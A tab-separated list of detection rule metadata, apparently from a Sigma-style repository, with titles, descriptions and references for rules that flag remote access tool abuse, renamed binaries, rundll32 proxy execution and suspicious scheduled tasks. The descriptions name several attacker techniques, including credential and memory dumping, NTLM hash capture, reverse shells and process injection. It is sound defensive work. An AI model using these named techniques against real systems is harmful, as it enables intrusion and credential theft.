Remote Access Tool - AnyDesk Silent Installation	Detects AnyDesk Remote Desktop silent installation. Which can be used by attackers to gain remote access.	https://twitter.com/TheDFIRReport/status/1423361119926816776?s=20, https://support.anydesk.com/Automatic_Deployment
Remote Access Tool - AnyDesk Execution With Known Revoked Signing Certificate	Detects the execution of an AnyDesk binary with a version prior to 8.0.8. Prior to version 8.0.8, the Anydesk application used a signing certificate that got compromised by threat actors. Use this rule to detect instances of older versions of Anydesk using the compromised certificate This is recommended in order to avoid attackers leveraging the certificate and signing their binaries to bypass detections.	https://www.bleepingcomputer.com/news/security/anydesk-says-hackers-breached-its-production-servers-reset-passwords/, https://anydesk.com/en/changelog/windows
Remote Access Tool - Anydesk Execution From Suspicious Folder	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows
Remote Access Tool - RURAT Execution From Unusual Location	Detects execution of Remote Utilities RAT (RURAT) from an unusual location (outside of 'C:\Program Files')	https://redcanary.com/blog/misbehaving-rats/
Remote Access Tool - MeshAgent Command Execution via MeshCentral	Detects the use of MeshAgent to execute commands on the target host, particularly when threat actors might abuse it to execute commands directly. MeshAgent can execute commands on the target host by leveraging win-console to obscure their activities and win-dispatcher to run malicious code through IPC with child processes.	https://github.com/Ylianst/MeshAgent, https://github.com/Ylianst/MeshAgent/blob/52cf129ca43d64743181fbaf940e0b4ddb542a37/modules/win-dispatcher.js#L173, https://github.com/Ylianst/MeshAgent/blob/52cf129ca43d64743181fbaf940e0b4ddb542a37/modules/win-info.js#L55
Remote Access Tool - NetSupport Execution	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md
Remote Access Tool - NetSupport Execution From Unusual Location	Detects execution of client32.exe (NetSupport RAT) from an unusual location (outside of 'C:\Program Files')	https://redcanary.com/blog/misbehaving-rats/
Remote Access Tool - GoToAssist Execution	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows
Remote Access Tool - LogMeIn Execution	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows
Remote Access Tool - ScreenConnect Execution	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-5---screenconnect-application-download-and-install-on-windows
Remote Access Tool - ScreenConnect Installation Execution	Detects ScreenConnect program starts that establish a remote access to a system.	https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies
Remote Access Tool - ScreenConnect Remote Command Execution	Detects the execution of a system command via the ScreenConnect RMM service.	https://github.com/SigmaHQ/sigma/pull/4467
Remote Access Tool - ScreenConnect Potential Suspicious Remote Command Execution	Detects potentially suspicious child processes launched via the ScreenConnect client service.	https://www.mandiant.com/resources/telegram-malware-iranian-espionage, https://docs.connectwise.com/ConnectWise_Control_Documentation/Get_started/Host_client/View_menu/Backstage_mode, https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708, https://www.trendmicro.com/en_us/research/24/b/threat-actor-groups-including-black-basta-are-exploiting-recent-.html
Remote Access Tool - ScreenConnect Server Web Shell Execution	Detects potential web shell execution from the ScreenConnect server process.	https://blackpointcyber.com/resources/blog/breaking-through-the-screen/, https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8
Remote Access Tool - Simple Help Execution	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)	https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708
Remote Access Tool - Team Viewer Session Started On Windows Host	Detects the command line executed when TeamViewer starts a session started by a remote host. Once a connection has been started, an investigator can verify the connection details by viewing the "incoming_connections.txt" log file in the TeamViewer folder.	Internal Research
Remote Access Tool - UltraViewer Execution	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md
Discovery of a System Time	Identifies use of various commands to query a systems time. This technique may be used before executing a scheduled task or to discover the time zone of a target system.	https://eqllib.readthedocs.io/en/latest/analytics/fcdb99c2-ac3c-4bde-b664-4b336329bed2.html, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1124/T1124.md
Renamed AdFind Execution	Detects the use of a renamed Adfind.exe. AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain.	https://www.joeware.net/freetools/tools/adfind/, https://thedfirreport.com/2020/05/08/adfind-recon/, https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/, https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/, https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx, https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md
Renamed AutoHotkey.EXE Execution	Detects execution of a renamed autohotkey.exe binary based on PE metadata fields	https://www.autohotkey.com/download/, https://thedfirreport.com/2023/02/06/collect-exfiltrate-sleep-repeat/
Renamed AutoIt Execution	Detects the execution of a renamed AutoIt2.exe or AutoIt3.exe. AutoIt is a scripting language and automation tool for Windows systems. While primarily used for legitimate automation tasks, it can be misused in cyber attacks. Attackers can leverage AutoIt to create and distribute malware, including keyloggers, spyware, and botnets. A renamed AutoIt executable is particularly suspicious.	https://twitter.com/malmoeb/status/1665463817130725378?s=12&t=C0_T_re0wRP_NfKa27Xw9w, https://www.autoitscript.com/site/
Potential Defense Evasion Via Binary Rename	Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.	https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html, https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html, https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1036.003/T1036.003.md#atomic-test-1---masquerading-as-windows-lsass-process
Potential Defense Evasion Via Rename Of Highly Relevant Binaries	Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.	https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html, https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html, https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/megacortex-ransomware-spotted-attacking-enterprise-networks, https://twitter.com/christophetd/status/1164506034720952320, https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/
Renamed BOINC Client Execution	Detects the execution of a renamed BOINC binary.	https://boinc.berkeley.edu/, https://www.virustotal.com/gui/file/91e405e8a527023fb8696624e70498ae83660fe6757cef4871ce9bcc659264d3/details, https://www.huntress.com/blog/fake-browser-updates-lead-to-boinc-volunteer-computing-software
Renamed BrowserCore.EXE Execution	Detects process creation with a renamed BrowserCore.exe (used to extract Azure tokens)	https://twitter.com/mariuszbit/status/1531631015139102720
Renamed Cloudflared.EXE Execution	Detects the execution of a renamed "cloudflared" binary.	https://github.com/cloudflare/cloudflared/releases, https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/, https://github.com/cloudflare/cloudflared, https://www.intrinsec.com/akira_ransomware/, https://www.guidepointsecurity.com/blog/tunnel-vision-cloudflared-abused-in-the-wild/
Renamed CreateDump Utility Execution	Detects uses of a renamed legitimate createdump.exe LOLOBIN utility to dump process memory	https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/, https://twitter.com/bopin2020/status/1366400799199272960
Renamed CURL.EXE Execution	Detects the execution of a renamed "CURL.exe" binary based on the PE metadata fields	https://twitter.com/Kostastsale/status/1700965142828290260
Renamed ZOHO Dctask64 Execution	Detects a renamed "dctask64.exe" execution, a signed binary by ZOHO Corporation part of ManageEngine Endpoint Central. This binary can be abused for DLL injection, arbitrary command and process execution.	https://twitter.com/gN3mes1s/status/1222088214581825540, https://twitter.com/gN3mes1s/status/1222095963789111296, https://twitter.com/gN3mes1s/status/1222095371175911424
Renamed FTP.EXE Execution	Detects the execution of a renamed "ftp.exe" binary based on the PE metadata fields	https://lolbas-project.github.io/lolbas/Binaries/Ftp/
Renamed Gpg.EXE Execution	Detects the execution of a renamed "gpg.exe". Often used by ransomware and loaders to decrypt/encrypt data.	https://securelist.com/locked-out/68960/
Renamed Jusched.EXE Execution	Detects the execution of a renamed "jusched.exe" as seen used by the cobalt group	https://www.bitdefender.com/files/News/CaseStudies/study/262/Bitdefender-WhitePaper-An-APT-Blueprint-Gaining-New-Visibility-into-Financial-Threats-interactive.pdf
Renamed Mavinject.EXE Execution	Detects the execution of a renamed version of the "Mavinject" process. Which can be abused to perform process injection using the "/INJECTRUNNING" flag	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.004/T1056.004.md, https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e, https://twitter.com/gN3mes1s/status/941315826107510784, https://reaqta.com/2017/12/mavinject-microsoft-injector/, https://twitter.com/Hexacorn/status/776122138063409152, https://github.com/SigmaHQ/sigma/issues/3742, https://github.com/keyboardcrunch/SentinelOne-ATTACK-Queries/blob/6a228d23eefe963ca81f2d52f94b815f61ef5ee0/Tactics/DefenseEvasion.md#t1055-process-injection
Renamed MegaSync Execution	Detects the execution of a renamed MegaSync.exe as seen used by ransomware families like Nefilim, Sodinokibi, Pysa, and Conti.	https://redcanary.com/blog/rclone-mega-extortion/
Renamed Msdt.EXE Execution	Detects the execution of a renamed "Msdt.exe" binary	https://lolbas-project.github.io/lolbas/Binaries/Msdt/
Renamed Microsoft Teams Execution	Detects the execution of a renamed Microsoft Teams binary.	Internal Research
Renamed NetSupport RAT Execution	Detects the execution of a renamed "client32.exe" (NetSupport RAT) via Imphash, Product and OriginalFileName strings	https://redcanary.com/blog/misbehaving-rats/
Renamed NirCmd.EXE Execution	Detects the execution of a renamed "NirCmd.exe" binary based on the PE metadata fields.	https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/, https://www.nirsoft.net/utils/nircmd.html
Renamed Office Binary Execution	Detects the execution of a renamed office binary	https://infosec.exchange/@sbousseaden/109542254124022664
Renamed PAExec Execution	Detects execution of renamed version of PAExec. Often used by attackers	https://www.poweradmin.com/paexec/, https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf
Renamed PingCastle Binary Execution	Detects the execution of a renamed "PingCastle" binary based on the PE metadata fields.	https://thedfirreport.com/2023/10/30/netsupport-intrusion-results-in-domain-compromise/, https://www.pingcastle.com/documentation/scanner/
Renamed Plink Execution	Detects the execution of a renamed version of the Plink binary	https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/, https://the.earth.li/~sgtatham/putty/0.58/htmldoc/Chapter7.html
Visual Studio NodejsTools PressAnyKey Renamed Execution	Detects renamed execution of "Microsoft.NodejsTools.PressAnyKey.exe", which can be abused as a LOLBIN to execute arbitrary binaries	https://twitter.com/mrd0x/status/1463526834918854661, https://gist.github.com/nasbench/a989ce64cefa8081bd50cf6ad8c491b5
Potential Renamed Rundll32 Execution	Detects when 'DllRegisterServer' is called in the commandline and the image is not rundll32. This could mean that the 'rundll32' utility has been renamed in order to avoid detection	https://twitter.com/swisscom_csirt/status/1331634525722521602?s=20, https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/
Renamed Remote Utilities RAT (RURAT) Execution	Detects execution of renamed Remote Utilities (RURAT) via Product PE header field	https://redcanary.com/blog/misbehaving-rats/
Renamed SysInternals DebugView Execution	Detects suspicious renamed SysInternals DebugView execution	https://www.epicturla.com/blog/sysinturla
Renamed ProcDump Execution	Detects the execution of a renamed ProcDump executable. This often done by attackers or malware in order to evade defensive mechanisms.	https://learn.microsoft.com/en-us/sysinternals/downloads/procdump
Renamed PsExec Service Execution	Detects suspicious launch of a renamed version of the PSEXESVC service with, which is not often used by legitimate administrators	https://learn.microsoft.com/en-us/sysinternals/downloads/psexec, https://www.youtube.com/watch?v=ro2QuZTIMBM
Renamed Sysinternals Sdelete Execution	Detects the use of a renamed SysInternals Sdelete, which is something an administrator shouldn't do (the renaming)	https://learn.microsoft.com/en-us/sysinternals/downloads/sdelete, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md
Renamed Vmnat.exe Execution	Detects renamed vmnat.exe or portable version that can be used for DLL side-loading	https://twitter.com/malmoeb/status/1525901219247845376
Renamed Whoami Execution	Detects the execution of whoami that has been renamed to a different name to avoid detection	https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/, https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/
Capture Credentials with Rpcping.exe	Detects using Rpcping.exe to send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.	https://lolbas-project.github.io/lolbas/Binaries/Rpcping/, https://twitter.com/vysecurity/status/974806438316072960, https://twitter.com/vysecurity/status/873181705024266241, https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh875578(v=ws.11)
Ruby Inline Command Execution	Detects execution of ruby using the "-e" flag. This is could be used as a way to launch a reverse shell or execute live ruby code.	https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet, https://www.revshells.com/
Potential Rundll32 Execution With DLL Stored In ADS	Detects execution of rundll32 where the DLL being called is stored in an Alternate Data Stream (ADS).	https://lolbas-project.github.io/lolbas/Binaries/Rundll32
Suspicious Advpack Call Via Rundll32.EXE	Detects execution of "rundll32" calling "advpack.dll" with potential obfuscated ordinal calls in order to leverage the "RegisterOCX" function	https://twitter.com/Hexacorn/status/1224848930795552769, http://www.hexacorn.com/blog/2020/02/05/stay-positive-lolbins-not/
Suspicious Rundll32 Invoking Inline VBScript	Detects suspicious process related to rundll32 based on command line that invokes inline VBScript as seen being used by UNC2452	https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/
Rundll32 InstallScreenSaver Execution	An attacker may execute an application as a SCR File using rundll32.exe desk.cpl,InstallScreenSaver	https://lolbas-project.github.io/lolbas/Libraries/Desk/, https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1218.011/T1218.011.md#atomic-test-13---rundll32-with-deskcpl
Suspicious Key Manager Access	Detects the invocation of the Stored User Names and Passwords dialogue (Key Manager)	https://twitter.com/NinjaParanoid/status/1516442028963659777
Rundll32 Execution Without CommandLine Parameters	Detects suspicious start of rundll32.exe without any parameters as found in CobaltStrike beacon activity	https://www.cobaltstrike.com/help-opsec, https://twitter.com/ber_m1ng/status/1397948048135778309
Mshtml.DLL RunHTMLApplication Suspicious Usage	Detects execution of commands that leverage the "mshtml.dll" RunHTMLApplication export to run arbitrary code via different protocol handlers (vbscript, javascript, file, http...)	https://twitter.com/n1nj4sec/status/1421190238081277959, https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART2.txt, http://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_DETECTION_BYPASS.txt
Suspicious NTLM Authentication on the Printer Spooler Service	Detects a privilege elevation attempt by coercing NTLM authentication on the Printer Spooler service	https://twitter.com/med0x2e/status/1520402518685200384, https://github.com/elastic/detection-rules/blob/dd224fb3f81d0b4bf8593c5f02a029d647ba2b2d/rules/windows/credential_access_relay_ntlm_auth_via_http_spoolss.toml
Potential Obfuscated Ordinal Call Via Rundll32	Detects execution of "rundll32" with potential obfuscated ordinal calls	Internal Research
Rundll32 Spawned Via Explorer.EXE	Detects execution of "rundll32.exe" with a parent process of Explorer.exe. This has been observed by variants of Raspberry Robin, as first reported by Red Canary.	https://redcanary.com/blog/raspberry-robin/, https://thedfirreport.com/2022/09/26/bumblebee-round-two/
Process Memory Dump Via Comsvcs.DLL	Detects a process memory dump via "comsvcs.dll" using rundll32, covering multiple different techniques (ordinal, minidump function, etc.)	https://twitter.com/shantanukhande/status/1229348874298388484, https://twitter.com/pythonresponder/status/1385064506049630211?s=21, https://twitter.com/Hexacorn/status/1224848930795552769, https://modexp.wordpress.com/2019/08/30/minidumpwritedump-via-com-services-dll/, https://twitter.com/SBousseaden/status/1167417096374050817, https://twitter.com/Wietze/status/1542107456507203586, https://github.com/Hackndo/lsassy/blob/14d8f8ae596ecf22b449bfe919829173b8a07635/lsassy/dumpmethod/comsvcs.py
Rundll32 Registered COM Objects	load malicious registered COM objects	https://nasbench.medium.com/a-deep-dive-into-rundll32-exe-642344b41e90, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.015/T1546.015.md
Suspicious Process Start Locations	Detects suspicious process run from unusual locations	https://car.mitre.org/wiki/CAR-2013-05-002
Suspicious Rundll32 Setupapi.dll Activity	setupapi.dll library provide InstallHinfSection function for processing INF files. INF file may contain instructions allowing to create values in the registry, modify files and install drivers. This technique could be used to obtain persistence via modifying one of Run or RunOnce registry keys, run process or use other DLLs chain calls (see references) InstallHinfSection function in setupapi.dll calls runonce.exe executable regardless of actual content of INF file.	https://lolbas-project.github.io/lolbas/Libraries/Setupapi/, https://gist.githubusercontent.com/bohops/0cc6586f205f3691e04a1ebf1806aabd/raw/baf7b29891bb91e76198e30889fbf7d6642e8974/calc_exe.inf, https://raw.githubusercontent.com/huntresslabs/evading-autoruns/master/shady.inf, https://twitter.com/Z3Jpa29z/status/1313742350292746241?s=20
Shell32 DLL Execution in Suspicious Directory	Detects shell32.dll executing a DLL in a suspicious directory	https://www.group-ib.com/resources/threat-research/red-curl-2.html
Potential ShellDispatch.DLL Functionality Abuse	Detects potential "ShellDispatch.dll" functionality abuse to execute arbitrary binaries via "ShellExecute"	https://www.hexacorn.com/blog/2023/06/07/this-lolbin-doesnt-exist/
RunDLL32 Spawning Explorer	Detects RunDLL32.exe spawning explorer.exe as child, which is very uncommon, often observes Gamarue spawning the explorer.exe process in an unusual way	https://redcanary.com/blog/intelligence-insights-november-2021/
Potentially Suspicious Rundll32 Activity	Detects suspicious execution of rundll32, with specific calls to some DLLs with known LOLBIN functionalities	http://www.hexacorn.com/blog/2017/05/01/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline/, https://twitter.com/Hexacorn/status/885258886428725250, https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52, https://twitter.com/nas_bench/status/1433344116071583746, https://twitter.com/eral4m/status/1479106975967240209, https://twitter.com/eral4m/status/1479080793003671557
Suspicious Control Panel DLL Load	Detects suspicious Rundll32 execution from control.exe as used by Equation Group and Exploit Kits	https://twitter.com/rikvduijn/status/853251879320662017, https://twitter.com/felixw3000/status/853354851128025088
Suspicious Rundll32 Execution With Image Extension	Detects the execution of Rundll32.exe with DLL files masquerading as image files	https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution
Suspicious Usage Of ShellExec_RunDLL	Detects suspicious usage of the ShellExec_RunDLL function to launch other commands as seen in the the raspberry-robin attack	https://redcanary.com/blog/raspberry-robin/, https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/, https://github.com/SigmaHQ/sigma/issues/1009
Suspicious ShellExec_RunDLL Call Via Ordinal	Detects suspicious call to the "ShellExec_RunDLL" exported function of SHELL32.DLL through the ordinal number to launch other commands. Adversary might only use the ordinal number in order to bypass existing detection that alert on usage of ShellExec_RunDLL on CommandLine.	https://redcanary.com/blog/raspberry-robin/, https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/, https://github.com/SigmaHQ/sigma/issues/1009, https://strontic.github.io/xcyclopedia/library/shell32.dll-65DA072F25DE83D9F83653E3FEA3644D.html
ShimCache Flush	Detects actions that clear the local ShimCache and remove forensic evidence	https://medium.com/@blueteamops/shimcache-flush-89daff28d15e
Suspicious Rundll32 Activity Invoking Sys File	Detects suspicious process related to rundll32 based on command line that includes a *.sys file as seen being used by UNC2452	https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/
Potentially Suspicious Rundll32.EXE Execution of UDL File	Detects the execution of rundll32.exe with the oledb32.dll library to open a UDL file. Threat actors can abuse this technique as a phishing vector to capture authentication credentials or other sensitive data.	https://trustedsec.com/blog/oops-i-udld-it-again
Rundll32 Execution With Uncommon DLL Extension	Detects the execution of rundll32 with a command line that doesn't contain a common extension	https://twitter.com/mrd0x/status/1481630810495139841?s=12
Rundll32 UNC Path Execution	Detects rundll32 execution where the DLL is located on a remote location (share)	https://www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code
Suspicious Workstation Locking via Rundll32	Detects a suspicious call to the user32.dll function that locks the user workstation	https://app.any.run/tasks/2aef9c63-f944-4763-b3ef-81eee209d128/
Suspicious Modification Of Scheduled Tasks	Detects when an attacker tries to modify an already existing scheduled tasks to run from a suspicious location Attackers can create a simple looking task in order to avoid detection on creation as it's often the most focused on Instead they modify the task after creation to include their malicious payload	Internal Research, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks
Suspicious WebDav Client Execution Via Rundll32.EXE	Detects "svchost.exe" spawning "rundll32.exe" with command arguments like C:\windows\system32\davclnt.dll,DavSetCookie. This could be an indicator of exfiltration or use of WebDav to launch code (hosted on WebDav Server) or potentially a sign of exploitation of CVE-2023-23397	https://twitter.com/aceresponder/status/1636116096506818562, https://www.mdsec.co.uk/2023/03/exploiting-cve-2023-23397-microsoft-outlook-elevation-of-privilege-vulnerability/, https://www.pwndefend.com/2023/03/15/the-long-game-persistent-hash-theft/, https://www.microsoft.com/en-us/security/blog/wp-content/uploads/2023/03/Figure-7-sample-webdav-process-create-event.png, https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/
WebDav Client Execution Via Rundll32.EXE	Detects "svchost.exe" spawning "rundll32.exe" with command arguments like "C:\windows\system32\davclnt.dll,DavSetCookie". This could be an indicator of exfiltration or use of WebDav to launch code (hosted on a WebDav server).	https://github.com/OTRF/detection-hackathon-apt29/issues/17, https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/7.B.4_C10730EA-6345-4934-AA0F-B0EFCA0C4BA6.md
Rundll32 Execution Without Parameters	Detects rundll32 execution without parameters as observed when running Metasploit windows/smb/psexec exploit module	https://bczyz1.github.io/2021/01/30/psexec.html
Run Once Task Execution as Configured in Registry	This rule detects the execution of Run Once task as configured in the registry	https://twitter.com/pabraeken/status/990717080805789697, https://lolbas-project.github.io/lolbas/Binaries/Runonce/, https://twitter.com/0gtweet/status/1602644163824156672?s=20&t=kuxbUnZPltpvFPZdCrqPXA
Suspicious Schtasks Execution AppData Folder	Detects the creation of a schtask that executes a file from C:\Users\\AppData\Local	https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
Scheduled Task Creation Via Schtasks.EXE	Detects the creation of scheduled tasks by user accounts via the "schtasks" utility.	https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create
Suspicious Scheduled Task Creation Involving Temp Folder	Detects the creation of scheduled tasks that involves a temporary folder and runs only once	https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3
Delete Important Scheduled Task	Detects when adversaries stop services or processes by deleting their respective scheduled tasks in order to conduct data destructive activities	Internal Research
Delete All Scheduled Tasks	Detects the usage of schtasks with the delete flag and the asterisk symbol to delete all tasks from the schedule of the local computer, including tasks scheduled by other users.	https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-delete
Disable Important Scheduled Task	Detects when adversaries stop services or processes by disabling their respective scheduled tasks in order to conduct data destructive activities	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-8---windows---disable-the-sr-scheduled-task, https://twitter.com/MichalKoczwara/status/1553634816016498688, https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/
Schedule Task Creation From Env Variable Or Potentially Suspicious Path Via Schtasks.EXE	Detects Schtask creations that point to a suspicious folder or an environment variable often used by malware	https://www.welivesecurity.com/2022/01/18/donot-go-do-not-respawn/, https://www.joesandbox.com/analysis/514608/0/html#324415FF7D8324231381BAD48A052F85DF04, https://blog.talosintelligence.com/gophish-powerrat-dcrat/
Schtasks From Suspicious Folders	Detects scheduled task creations that have suspicious action command and folder combinations	https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical
Suspicious Scheduled Task Name As GUID	Detects creation of a scheduled task with a GUID like name	https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/, https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
Uncommon One Time Only Scheduled Task At 00:00	Detects scheduled task creation events that include suspicious actions, and is run once at 00:00	https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte
Potential Persistence Via Microsoft Compatibility Appraiser	Detects manual execution of the "Microsoft Compatibility Appraiser" task via schtasks. In order to trigger persistence stored in the "\AppCompatFlags\TelemetryController" registry key.	https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/
Potential Persistence Via Powershell Search Order Hijacking - Task	Detects suspicious powershell execution via a schedule task where the command ends with an suspicious flags to hide the powershell instance instead of executeing scripts or commands. This could be a sign of persistence via PowerShell "Get-Variable" technique as seen being used in Colibri Loader	https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/
Scheduled Task Executing Payload from Registry	Detects the creation of a schtasks that potentially executes a payload stored in the Windows Registry using PowerShell.	https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
Scheduled Task Executing Encoded Payload from Registry	Detects the creation of a schtask that potentially executes a base64 encoded payload stored in the Windows Registry using PowerShell.	https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
